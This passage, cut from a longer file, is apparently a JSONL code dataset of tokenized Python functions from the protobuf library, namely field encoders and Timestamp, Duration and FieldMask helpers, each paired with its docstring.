wire_type)<EOL>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag_bytes)<EOL>try:<EOL><INDENT>write(local_struct_pack(format, element))<EOL><DEDENT>except SystemError:<EOL><INDENT>EncodeNonFiniteOrRaise(write, element)<EOL><DEDENT><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_type)<EOL>def EncodeField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>try:<EOL><INDENT>write(local_struct_pack(format, value))<EOL><DEDENT>except SystemError:<EOL><INDENT>EncodeNonFiniteOrRaise(write, value)<EOL><DEDENT><DEDENT>return EncodeField<EOL><DEDENT><DEDENT>return SpecificEncoder<EOL>", "docstring": "Return a constructor for an encoder for float fields.\n\n    This is like StructPackEncoder, but catches errors that may be due to\n    passing non-finite floating-point values to struct.pack, and makes a\n    second attempt to encode those values.\n\n    Args:\n        wire_type:  The field's wire type, for encoding tags.\n        format:  The format string to pass to struct.pack().", "id": "f8647:m19"}
{"signature": "def BoolEncoder(field_number, is_repeated, is_packed):", "body": "false_byte = b'<STR_LIT:\\x00>'<EOL>true_byte = b'<STR_LIT>'<EOL>if is_packed:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>def EncodePackedField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>local_EncodeVarint(write, len(value))<EOL>for element in value:<EOL><INDENT>if element:<EOL><INDENT>write(true_byte)<EOL><DEDENT>else:<EOL><INDENT>write(false_byte)<EOL><DEDENT><DEDENT><DEDENT>return EncodePackedField<EOL><DEDENT>elif is_repeated:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_VARINT)<EOL>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag_bytes)<EOL>if element:<EOL><INDENT>write(true_byte)<EOL><DEDENT>else:<EOL><INDENT>write(false_byte)<EOL><DEDENT><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>tag_bytes = TagBytes(field_number, wire_format.WIRETYPE_VARINT)<EOL>def EncodeField(write, value):<EOL><INDENT>write(tag_bytes)<EOL>if value:<EOL><INDENT>return write(true_byte)<EOL><DEDENT>return write(false_byte)<EOL><DEDENT>return EncodeField<EOL><DEDENT>", "docstring": "Returns an encoder for a boolean field.", "id": "f8647:m20"}
{"signature": "def StringEncoder(field_number, is_repeated, is_packed):", "body": "tag = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>local_len = len<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>encoded = element.encode('<STR_LIT:utf-8>')<EOL>write(tag)<EOL>local_EncodeVarint(write, local_len(encoded))<EOL>write(encoded)<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def EncodeField(write, value):<EOL><INDENT>encoded = value.encode('<STR_LIT:utf-8>')<EOL>write(tag)<EOL>local_EncodeVarint(write, local_len(encoded))<EOL>return write(encoded)<EOL><DEDENT>return EncodeField<EOL><DEDENT>", "docstring": "Returns an encoder for a string field.", "id": "f8647:m21"}
{"signature": "def BytesEncoder(field_number, is_repeated, is_packed):", "body": "tag = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>local_len = len<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag)<EOL>local_EncodeVarint(write, local_len(element))<EOL>write(element)<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def EncodeField(write, value):<EOL><INDENT>write(tag)<EOL>local_EncodeVarint(write, local_len(value))<EOL>return write(value)<EOL><DEDENT>return EncodeField<EOL><DEDENT>", "docstring": "Returns an encoder for a bytes field.", "id": "f8647:m22"}
{"signature": "def GroupEncoder(field_number, is_repeated, is_packed):", "body": "start_tag = TagBytes(field_number, wire_format.WIRETYPE_START_GROUP)<EOL>end_tag = TagBytes(field_number, wire_format.WIRETYPE_END_GROUP)<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(start_tag)<EOL>element._InternalSerialize(write)<EOL>write(end_tag)<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def EncodeField(write, value):<EOL><INDENT>write(start_tag)<EOL>value._InternalSerialize(write)<EOL>return write(end_tag)<EOL><DEDENT>return EncodeField<EOL><DEDENT>", "docstring": "Returns an encoder for a group field.", "id": "f8647:m23"}
{"signature": "def MessageEncoder(field_number, is_repeated, is_packed):", "body": "tag = TagBytes(field_number, wire_format.WIRETYPE_LENGTH_DELIMITED)<EOL>local_EncodeVarint = _EncodeVarint<EOL>assert not is_packed<EOL>if is_repeated:<EOL><INDENT>def EncodeRepeatedField(write, value):<EOL><INDENT>for element in value:<EOL><INDENT>write(tag)<EOL>local_EncodeVarint(write, element.ByteSize())<EOL>element._InternalSerialize(write)<EOL><DEDENT><DEDENT>return EncodeRepeatedField<EOL><DEDENT>else:<EOL><INDENT>def EncodeField(write, value):<EOL><INDENT>write(tag)<EOL>local_EncodeVarint(write, value.ByteSize())<EOL>return value._InternalSerialize(write)<EOL><DEDENT>return EncodeField<EOL><DEDENT>", "docstring": "Returns an encoder for a message field.", "id": "f8647:m24"}
{"signature": "def MessageSetItemEncoder(field_number):", "body": "start_bytes = b\"<STR_LIT>\".join([<EOL>TagBytes(<NUM_LIT:1>, wire_format.WIRETYPE_START_GROUP),<EOL>TagBytes(<NUM_LIT:2>, wire_format.WIRETYPE_VARINT),<EOL>_VarintBytes(field_number),<EOL>TagBytes(<NUM_LIT:3>, wire_format.WIRETYPE_LENGTH_DELIMITED)])<EOL>end_bytes = TagBytes(<NUM_LIT:1>, wire_format.WIRETYPE_END_GROUP)<EOL>local_EncodeVarint = _EncodeVarint<EOL>def EncodeField(write, value):<EOL><INDENT>write(start_bytes)<EOL>local_EncodeVarint(write, value.ByteSize())<EOL>value._InternalSerialize(write)<EOL>return write(end_bytes)<EOL><DEDENT>return EncodeField<EOL>", "docstring": "Encoder for extensions of MessageSet.\n\n    The message set message looks like this:\n      message MessageSet {\n        repeated group Item = 1 {\n          required int32 type_id = 2;\n          required string message = 3;\n        }\n      }", "id": "f8647:m25"}
{"signature": "def MapEncoder(field_descriptor):", "body": "<EOL>message_type = field_descriptor.message_type<EOL>encode_message = MessageEncoder(field_descriptor.number, False, False)<EOL>def EncodeField(write, value):<EOL><INDENT>for key in value:<EOL><INDENT>entry_msg = message_type._concrete_class(key=key, value=value[key])<EOL>encode_message(write, entry_msg)<EOL><DEDENT><DEDENT>return EncodeField<EOL>", "docstring": "Encoder for extensions of MessageSet.\n\n    Maps always have a wire format like this:\n      message MapEntry {\n        key_type key = 1;\n        value_type value = 2;\n      }\n      repeated MapEntry map = N;", "id": "f8647:m26"}
{"signature": "def Modified(self):", "body": "raise NotImplementedError<EOL>", "docstring": "Called every time the message is modified in such a way that the parent\n        message may need to be updated.  This currently means either:\n        (a) The message was modified for the first time, so the parent message\n            should henceforth mark the message as present.\n        (b) The message's cached byte size became dirty -- i.e. the message was\n            modified for the first time after a previous call to ByteSize().\n            Therefore the parent should also mark its byte size as dirty.\n        Note that (a) implies (b), since new objects start out with a client cached\n        size (zero).  However, we document (a) explicitly because it is important.\n\n        Modified() will *only* be called in response to one of these two events --\n        not every time the sub-message is modified.\n\n        Note that if the listener's |dirty| attribute is true, then calling\n        Modified at the moment would be a no-op, so it can be skipped.  Performance-\n        sensitive callers should check this attribute directly before calling since\n        it will be true most of the time.", "id": "f8648:c0:m0"}
{"signature": "def _RoundTowardZero(value, divider):", "body": "<EOL>result = value // divider<EOL>remainder = value % divider<EOL>if result < <NUM_LIT:0> and remainder > <NUM_LIT:0>:<EOL><INDENT>return result + <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>return result<EOL><DEDENT>", "docstring": "Truncates the remainder part after division.", "id": "f8649:m0"}
{"signature": "def _IsValidPath(message_descriptor, path):", "body": "parts = path.split('<STR_LIT:.>')<EOL>last = parts.pop()<EOL>for name in parts:<EOL><INDENT>field = message_descriptor.fields_by_name[name]<EOL>if (field is None or<EOL>field.label == FieldDescriptor.LABEL_REPEATED or<EOL>field.type != FieldDescriptor.TYPE_MESSAGE):<EOL><INDENT>return False<EOL><DEDENT>message_descriptor = field.message_type<EOL><DEDENT>return last in message_descriptor.fields_by_name<EOL>", "docstring": "Checks whether the path is valid for Message Descriptor.", "id": "f8649:m1"}
{"signature": "def _CheckFieldMaskMessage(message):", "body": "message_descriptor = message.DESCRIPTOR<EOL>if (message_descriptor.name != '<STR_LIT>' or<EOL>message_descriptor.file.name != '<STR_LIT>'):<EOL><INDENT>raise ValueError('<STR_LIT>'.format(<EOL>message_descriptor.full_name))<EOL><DEDENT>", "docstring": "Raises ValueError if message is not a FieldMask.", "id": "f8649:m2"}
{"signature": "def _StrConvert(value):", "body": "<EOL>if not isinstance(value, str):<EOL><INDENT>return value.encode('<STR_LIT:utf-8>')<EOL><DEDENT>return value<EOL>", "docstring": "Converts value to str if it is not.", "id": "f8649:m3"}
{"signature": "def _MergeMessage(<EOL>node, source, destination, replace_message, replace_repeated):", "body": "source_descriptor = source.DESCRIPTOR<EOL>for name in node:<EOL><INDENT>child = node[name]<EOL>field = source_descriptor.fields_by_name[name]<EOL>if field is None:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(<EOL>name, source_descriptor.full_name))<EOL><DEDENT>if child:<EOL><INDENT>if (field.label == FieldDescriptor.LABEL_REPEATED or<EOL>field.cpp_type != FieldDescriptor.CPPTYPE_MESSAGE):<EOL><INDENT>raise ValueError('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>name, source_descriptor.full_name))<EOL><DEDENT>_MergeMessage(<EOL>child, getattr(source, name), getattr(destination, name),<EOL>replace_message, replace_repeated)<EOL>continue<EOL><DEDENT>if field.label == FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>if replace_repeated:<EOL><INDENT>destination.ClearField(_StrConvert(name))<EOL><DEDENT>repeated_source = getattr(source, name)<EOL>repeated_destination = getattr(destination, name)<EOL>if field.cpp_type == FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>for item in repeated_source:<EOL><INDENT>repeated_destination.add().MergeFrom(item)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>repeated_destination.extend(repeated_source)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if field.cpp_type == FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>if replace_message:<EOL><INDENT>destination.ClearField(_StrConvert(name))<EOL><DEDENT>if source.HasField(name):<EOL><INDENT>getattr(destination, name).MergeFrom(getattr(source, name))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>setattr(destination, name, getattr(source, name))<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Merge all fields specified by a sub-tree from source to destination.", "id": "f8649:m4"}
{"signature": "def _AddFieldPaths(node, prefix, field_mask):", "body": "if not node:<EOL><INDENT>field_mask.paths.append(prefix)<EOL>return<EOL><DEDENT>for name in sorted(node):<EOL><INDENT>if prefix:<EOL><INDENT>child_path = prefix + '<STR_LIT:.>' + name<EOL><DEDENT>else:<EOL><INDENT>child_path = name<EOL><DEDENT>_AddFieldPaths(node[name], child_path, field_mask)<EOL><DEDENT>", "docstring": "Adds the field paths descended from node to field_mask.", "id": "f8649:m5"}
{"signature": "def Pack(self, msg, type_url_prefix='<STR_LIT>'):", "body": "if len(type_url_prefix) < <NUM_LIT:1> or type_url_prefix[-<NUM_LIT:1>] != '<STR_LIT:/>':<EOL><INDENT>self.type_url = '<STR_LIT>' % (type_url_prefix, msg.DESCRIPTOR.full_name)<EOL><DEDENT>else:<EOL><INDENT>self.type_url = '<STR_LIT>' % (type_url_prefix, msg.DESCRIPTOR.full_name)<EOL><DEDENT>self.value = msg.SerializeToString()<EOL>", "docstring": "Packs the specified message into current Any message.", "id": "f8649:c2:m0"}
{"signature": "def Unpack(self, msg):", "body": "descriptor = msg.DESCRIPTOR<EOL>if not self.Is(descriptor):<EOL><INDENT>return False<EOL><DEDENT>msg.ParseFromString(self.value)<EOL>return True<EOL>", "docstring": "Unpacks the current Any message into specified message.", "id": "f8649:c2:m1"}
{"signature": "def TypeName(self):", "body": "<EOL>return self.type_url.split('<STR_LIT:/>')[-<NUM_LIT:1>]<EOL>", "docstring": "Returns the protobuf type name of the inner message.", "id": "f8649:c2:m2"}
{"signature": "def Is(self, descriptor):", "body": "return self.TypeName() == descriptor.full_name<EOL>", "docstring": "Checks if this Any represents the given protobuf type.", "id": "f8649:c2:m3"}
{"signature": "def ToJsonString(self):", "body": "nanos = self.nanos % _NANOS_PER_SECOND<EOL>total_sec = self.seconds + (self.nanos - nanos) // _NANOS_PER_SECOND<EOL>seconds = total_sec % _SECONDS_PER_DAY<EOL>days = (total_sec - seconds) // _SECONDS_PER_DAY<EOL>dt = datetime(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT:1>) + timedelta(days, seconds)<EOL>result = dt.isoformat()<EOL>if (nanos % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return result + '<STR_LIT>'<EOL><DEDENT>if (nanos % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return result + '<STR_LIT>' % (nanos / <NUM_LIT>)<EOL><DEDENT>if (nanos % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return result + '<STR_LIT>' % (nanos / <NUM_LIT>)<EOL><DEDENT>return result + '<STR_LIT>' % nanos<EOL>", "docstring": "Converts Timestamp to RFC 3339 date string format.\n\n        Returns:\n          A string converted from timestamp. The string is always Z-normalized\n          and uses 3, 6 or 9 fractional digits as required to represent the\n          exact time. Example of the return format: '1972-01-01T10:00:20.021Z'", "id": "f8649:c3:m0"}
{"signature": "def FromJsonString(self, value):", "body": "timezone_offset = value.find('<STR_LIT>')<EOL>if timezone_offset == -<NUM_LIT:1>:<EOL><INDENT>timezone_offset = value.find('<STR_LIT:+>')<EOL><DEDENT>if timezone_offset == -<NUM_LIT:1>:<EOL><INDENT>timezone_offset = value.rfind('<STR_LIT:->')<EOL><DEDENT>if timezone_offset == -<NUM_LIT:1>:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>')<EOL><DEDENT>time_value = value[<NUM_LIT:0>:timezone_offset]<EOL>point_position = time_value.find('<STR_LIT:.>')<EOL>if point_position == -<NUM_LIT:1>:<EOL><INDENT>second_value = time_value<EOL>nano_value = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>second_value = time_value[:point_position]<EOL>nano_value = time_value[point_position + <NUM_LIT:1>:]<EOL><DEDENT>date_object = datetime.strptime(second_value, _TIMESTAMPFOMAT)<EOL>td = date_object - datetime(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>seconds = td.seconds + td.days * _SECONDS_PER_DAY<EOL>if len(nano_value) > <NUM_LIT:9>:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(nano_value))<EOL><DEDENT>if nano_value:<EOL><INDENT>nanos = round(float('<STR_LIT>' + nano_value) * <NUM_LIT>)<EOL><DEDENT>else:<EOL><INDENT>nanos = <NUM_LIT:0><EOL><DEDENT>if value[timezone_offset] == '<STR_LIT>':<EOL><INDENT>if len(value) != timezone_offset + <NUM_LIT:1>:<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>'.format(value))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>timezone = value[timezone_offset:]<EOL>pos = timezone.find('<STR_LIT::>')<EOL>if pos == -<NUM_LIT:1>:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(timezone))<EOL><DEDENT>if timezone[<NUM_LIT:0>] == '<STR_LIT:+>':<EOL><INDENT>seconds -= (int(timezone[<NUM_LIT:1>:pos])*<NUM_LIT>+int(timezone[pos+<NUM_LIT:1>:]))*<NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>seconds += (int(timezone[<NUM_LIT:1>:pos])*<NUM_LIT>+int(timezone[pos+<NUM_LIT:1>:]))*<NUM_LIT><EOL><DEDENT><DEDENT>self.seconds = int(seconds)<EOL>self.nanos = int(nanos)<EOL>", "docstring": "Parse a RFC 3339 date string format to Timestamp.\n\n        Args:\n          value: A date string. Any fractional digits (or none) and any offset are\n              accepted as long as they fit into nano-seconds precision.\n              Example of accepted format: '1972-01-01T10:00:20.021-05:00'\n\n        Raises:\n          ParseError: On parsing problems.", "id": "f8649:c3:m1"}
{"signature": "def GetCurrentTime(self):", "body": "self.FromDatetime(datetime.utcnow())<EOL>", "docstring": "Get the current UTC into Timestamp.", "id": "f8649:c3:m2"}
{"signature": "def ToNanoseconds(self):", "body": "return self.seconds * _NANOS_PER_SECOND + self.nanos<EOL>", "docstring": "Converts Timestamp to nanoseconds since epoch.", "id": "f8649:c3:m3"}
{"signature": "def ToMicroseconds(self):", "body": "return (self.seconds * _MICROS_PER_SECOND +<EOL>self.nanos // _NANOS_PER_MICROSECOND)<EOL>", "docstring": "Converts Timestamp to microseconds since epoch.", "id": "f8649:c3:m4"}
{"signature": "def ToMilliseconds(self):", "body": "return (self.seconds * _MILLIS_PER_SECOND +<EOL>self.nanos // _NANOS_PER_MILLISECOND)<EOL>", "docstring": "Converts Timestamp to milliseconds since epoch.", "id": "f8649:c3:m5"}
{"signature": "def ToSeconds(self):", "body": "return self.seconds<EOL>", "docstring": "Converts Timestamp to seconds since epoch.", "id": "f8649:c3:m6"}
{"signature": "def FromNanoseconds(self, nanos):", "body": "self.seconds = nanos // _NANOS_PER_SECOND<EOL>self.nanos = nanos % _NANOS_PER_SECOND<EOL>", "docstring": "Converts nanoseconds since epoch to Timestamp.", "id": "f8649:c3:m7"}
{"signature": "def FromMicroseconds(self, micros):", "body": "self.seconds = micros // _MICROS_PER_SECOND<EOL>self.nanos = (micros % _MICROS_PER_SECOND) * _NANOS_PER_MICROSECOND<EOL>", "docstring": "Converts microseconds since epoch to Timestamp.", "id": "f8649:c3:m8"}
{"signature": "def FromMilliseconds(self, millis):", "body": "self.seconds = millis // _MILLIS_PER_SECOND<EOL>self.nanos = (millis % _MILLIS_PER_SECOND) * _NANOS_PER_MILLISECOND<EOL>", "docstring": "Converts milliseconds since epoch to Timestamp.", "id": "f8649:c3:m9"}
{"signature": "def FromSeconds(self, seconds):", "body": "self.seconds = seconds<EOL>self.nanos = <NUM_LIT:0><EOL>", "docstring": "Converts seconds since epoch to Timestamp.", "id": "f8649:c3:m10"}
{"signature": "def ToDatetime(self):", "body": "return datetime.utcfromtimestamp(<EOL>self.seconds + self.nanos / float(_NANOS_PER_SECOND))<EOL>", "docstring": "Converts Timestamp to datetime.", "id": "f8649:c3:m11"}
{"signature": "def FromDatetime(self, dt):", "body": "td = dt - datetime(<NUM_LIT>, <NUM_LIT:1>, <NUM_LIT:1>)<EOL>self.seconds = td.seconds + td.days * _SECONDS_PER_DAY<EOL>self.nanos = td.microseconds * _NANOS_PER_MICROSECOND<EOL>", "docstring": "Converts datetime to Timestamp.", "id": "f8649:c3:m12"}
{"signature": "def ToJsonString(self):", "body": "if self.seconds < <NUM_LIT:0> or self.nanos < <NUM_LIT:0>:<EOL><INDENT>result = '<STR_LIT:->'<EOL>seconds = - self.seconds + int((<NUM_LIT:0> - self.nanos) // <NUM_LIT>)<EOL>nanos = (<NUM_LIT:0> - self.nanos) % <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>result = '<STR_LIT>'<EOL>seconds = self.seconds + int(self.nanos // <NUM_LIT>)<EOL>nanos = self.nanos % <NUM_LIT><EOL><DEDENT>result += '<STR_LIT>' % seconds<EOL>if (nanos % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return result + '<STR_LIT:s>'<EOL><DEDENT>if (nanos % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return result + '<STR_LIT>' % (nanos / <NUM_LIT>)<EOL><DEDENT>if (nanos % <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>return result + '<STR_LIT>' % (nanos / <NUM_LIT>)<EOL><DEDENT>return result + '<STR_LIT>' % nanos<EOL>", "docstring": "Converts Duration to string format.\n\n        Returns:\n          A string converted from self. The string format will contains\n          3, 6, or 9 fractional digits depending on the precision required to\n          represent the exact Duration value. For example: \"1s\", \"1.010s\",\n          \"1.000000100s\", \"-3.100s\"", "id": "f8649:c4:m0"}
{"signature": "def FromJsonString(self, value):", "body": "if len(value) < <NUM_LIT:1> or value[-<NUM_LIT:1>] != '<STR_LIT:s>':<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(value))<EOL><DEDENT>try:<EOL><INDENT>pos = value.find('<STR_LIT:.>')<EOL>if pos == -<NUM_LIT:1>:<EOL><INDENT>self.seconds = int(value[:-<NUM_LIT:1>])<EOL>self.nanos = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>self.seconds = int(value[:pos])<EOL>if value[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>self.nanos = int(round(float('<STR_LIT>'.format(value[pos: -<NUM_LIT:1>])) *<NUM_LIT>))<EOL><DEDENT>else:<EOL><INDENT>self.nanos = int(round(float('<STR_LIT>'.format(value[pos: -<NUM_LIT:1>])) *<NUM_LIT>))<EOL><DEDENT><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(value))<EOL><DEDENT>", "docstring": "Converts a string to Duration.\n\n        Args:\n          value: A string to be converted. The string must end with 's'. Any\n              fractional digits (or none) are accepted as long as they fit into\n              precision. For example: \"1s\", \"1.01s\", \"1.0000001s\", \"-3.100s\n\n        Raises:\n          ParseError: On parsing problems.", "id": "f8649:c4:m1"}
{"signature": "def ToNanoseconds(self):", "body": "return self.seconds * _NANOS_PER_SECOND + self.nanos<EOL>", "docstring": "Converts a Duration to nanoseconds.", "id": "f8649:c4:m2"}
{"signature": "def ToMicroseconds(self):", "body": "micros = _RoundTowardZero(self.nanos, _NANOS_PER_MICROSECOND)<EOL>return self.seconds * _MICROS_PER_SECOND + micros<EOL>", "docstring": "Converts a Duration to microseconds.", "id": "f8649:c4:m3"}
{"signature": "def ToMilliseconds(self):", "body": "millis = _RoundTowardZero(self.nanos, _NANOS_PER_MILLISECOND)<EOL>return self.seconds * _MILLIS_PER_SECOND + millis<EOL>", "docstring": "Converts a Duration to milliseconds.", "id": "f8649:c4:m4"}
{"signature": "def ToSeconds(self):", "body": "return self.seconds<EOL>", "docstring": "Converts a Duration to seconds.", "id": "f8649:c4:m5"}
{"signature": "def FromNanoseconds(self, nanos):", "body": "self._NormalizeDuration(nanos // _NANOS_PER_SECOND,<EOL>nanos % _NANOS_PER_SECOND)<EOL>", "docstring": "Converts nanoseconds to Duration.", "id": "f8649:c4:m6"}
{"signature": "def FromMicroseconds(self, micros):", "body": "self._NormalizeDuration(<EOL>micros // _MICROS_PER_SECOND,<EOL>(micros % _MICROS_PER_SECOND) * _NANOS_PER_MICROSECOND)<EOL>", "docstring": "Converts microseconds to Duration.", "id": "f8649:c4:m7"}
{"signature": "def FromMilliseconds(self, millis):", "body": "self._NormalizeDuration(<EOL>millis // _MILLIS_PER_SECOND,<EOL>(millis % _MILLIS_PER_SECOND) * _NANOS_PER_MILLISECOND)<EOL>", "docstring": "Converts milliseconds to Duration.", "id": "f8649:c4:m8"}
{"signature": "def FromSeconds(self, seconds):", "body": "self.seconds = seconds<EOL>self.nanos = <NUM_LIT:0><EOL>", "docstring": "Converts seconds to Duration.", "id": "f8649:c4:m9"}
{"signature": "def ToTimedelta(self):", "body": "return timedelta(<EOL>seconds=self.seconds, microseconds=_RoundTowardZero(<EOL>self.nanos, _NANOS_PER_MICROSECOND))<EOL>", "docstring": "Converts Duration to timedelta.", "id": "f8649:c4:m10"}
{"signature": "def FromTimedelta(self, td):", "body": "self._NormalizeDuration(td.seconds + td.days * _SECONDS_PER_DAY,<EOL>td.microseconds * _NANOS_PER_MICROSECOND)<EOL>", "docstring": "Convertd timedelta to Duration.", "id": "f8649:c4:m11"}
{"signature": "def _NormalizeDuration(self, seconds, nanos):", "body": "<EOL>if seconds < <NUM_LIT:0> and nanos > <NUM_LIT:0>:<EOL><INDENT>seconds += <NUM_LIT:1><EOL>nanos -= _NANOS_PER_SECOND<EOL><DEDENT>self.seconds = seconds<EOL>self.nanos = nanos<EOL>", "docstring": "Set Duration by seconds and nonas.", "id": "f8649:c4:m12"}
{"signature": "def ToJsonString(self):", "body": "return '<STR_LIT:U+002C>'.join(self.paths)<EOL>", "docstring": "Converts FieldMask to string according to proto3 JSON spec.", "id": "f8649:c5:m0"}
{"signature": "def FromJsonString(self, value):", "body": "self.Clear()<EOL>for path in value.split('<STR_LIT:U+002C>'):<EOL><INDENT>self.paths.append(path)<EOL><DEDENT>", "docstring": "Converts string to FieldMask according to proto3 JSON spec.", "id": "f8649:c5:m1"}
{"signature": "def IsValidForDescriptor(self, message_descriptor):", "body": "for path in self.paths:<EOL><INDENT>if not _IsValidPath(message_descriptor, path):<EOL><INDENT>return False<EOL><DEDENT><DEDENT>return True<EOL>", "docstring": "Checks whether the FieldMask is valid for Message Descriptor.", "id": "f8649:c5:m2"}
{"signature": "def AllFieldsFromDescriptor(self, message_descriptor):", "body": "self.Clear()<EOL>for field in message_descriptor.fields:<EOL><INDENT>self.paths.append(field.name)<EOL><DEDENT>", "docstring": "Gets all direct fields of Message Descriptor to FieldMask.", "id": "f8649:c5:m3"}
{"signature": "def CanonicalFormFromMask(self, mask):", "body": "tree = _FieldMaskTree(mask)<EOL>tree.ToFieldMask(self)<EOL>", "docstring": "Converts a FieldMask to the canonical form.\n\n        Removes paths that are covered by another path. For example,\n        \"foo.bar\" is covered by \"foo\" and will be removed if \"foo\"\n        is also in the FieldMask. Then sorts all paths in alphabetical order.\n\n        Args:\n          mask: The original FieldMask to be converted.", "id": "f8649:c5:m4"}
{"signature": "def Union(self, mask1, mask2):", "body": "_CheckFieldMaskMessage(mask1)<EOL>_CheckFieldMaskMessage(mask2)<EOL>tree = _FieldMaskTree(mask1)<EOL>tree.MergeFromFieldMask(mask2)<EOL>tree.ToFieldMask(self)<EOL>", "docstring": "Merges mask1 and mask2 into this FieldMask.", "id": "f8649:c5:m5"}
{"signature": "def Intersect(self, mask1, mask2):", "body": "_CheckFieldMaskMessage(mask1)<EOL>_CheckFieldMaskMessage(mask2)<EOL>tree = _FieldMaskTree(mask1)<EOL>intersection = _FieldMaskTree()<EOL>for path in mask2.paths:<EOL><INDENT>tree.IntersectPath(path, intersection)<EOL><DEDENT>intersection.ToFieldMask(self)<EOL>", "docstring": "Intersects mask1 and mask2 into this FieldMask.", "id": "f8649:c5:m6"}
{"signature": "def MergeMessage(<EOL>self, source, destination,<EOL>replace_message_field=False, replace_repeated_field=False):", "body": "tree = _FieldMaskTree(self)<EOL>tree.MergeMessage(<EOL>source, destination, replace_message_field, replace_repeated_field)<EOL>", "docstring": "Merges fields specified in FieldMask from source to destination.\n\n        Args:\n          source: Source message.\n          destination: The destination message to be merged into.\n          replace_message_field: Replace message field if True. Merge message\n              field if False.\n          replace_repeated_field: Replace repeated field if True. Append\n              elements of repeated field if False.", "id": "f8649:c5:m7"}
{"signature": "def __init__(self, field_mask=None):", "body": "self._root = {}<EOL>if field_mask:<EOL><INDENT>self.MergeFromFieldMask(field_mask)<EOL><DEDENT>", "docstring": "Initializes the tree by FieldMask.", "id": "f8649:c6:m0"}
{"signature": "def MergeFromFieldMask(self, field_mask):", "body": "for path in field_mask.paths:<EOL><INDENT>self.AddPath(path)<EOL><DEDENT>", "docstring": "Merges a FieldMask to the tree.", "id": "f8649:c6:m1"}
{"signature": "def AddPath(self, path):", "body": "node = self._root<EOL>for name in path.split('<STR_LIT:.>'):<EOL><INDENT>if name not in node:<EOL><INDENT>node[name] = {}<EOL><DEDENT>elif not node[name]:<EOL><INDENT>return<EOL><DEDENT>node = node[name]<EOL><DEDENT>node.clear()<EOL>", "docstring": "Adds a field path into the tree.\n\n        If the field path to add is a sub-path of an existing field path\n        in the tree (i.e., a leaf node), it means the tree already matches\n        the given path so nothing will be added to the tree. If the path\n        matches an existing non-leaf node in the tree, that non-leaf node\n        will be turned into a leaf node with all its children removed because\n        the path matches all the node's children. Otherwise, a new path will\n        be added.\n\n        Args:\n          path: The field path to add.", "id": "f8649:c6:m2"}
{"signature": "def ToFieldMask(self, field_mask):", "body": "field_mask.Clear()<EOL>_AddFieldPaths(self._root, '<STR_LIT>', field_mask)<EOL>", "docstring": "Converts the tree to a FieldMask.", "id": "f8649:c6:m3"}
{"signature": "def IntersectPath(self, path, intersection):", "body": "node = self._root<EOL>for name in path.split('<STR_LIT:.>'):<EOL><INDENT>if name not in node:<EOL><INDENT>return<EOL><DEDENT>elif not node[name]:<EOL><INDENT>intersection.AddPath(path)<EOL>return<EOL><DEDENT>node = node[name]<EOL><DEDENT>intersection.AddLeafNodes(path, node)<EOL>", "docstring": "Calculates the intersection part of a field path with this tree.\n\n        Args:\n          path: The field path to calculates.\n          intersection: The out tree to record the intersection part.", "id": "f8649:c6:m4"}
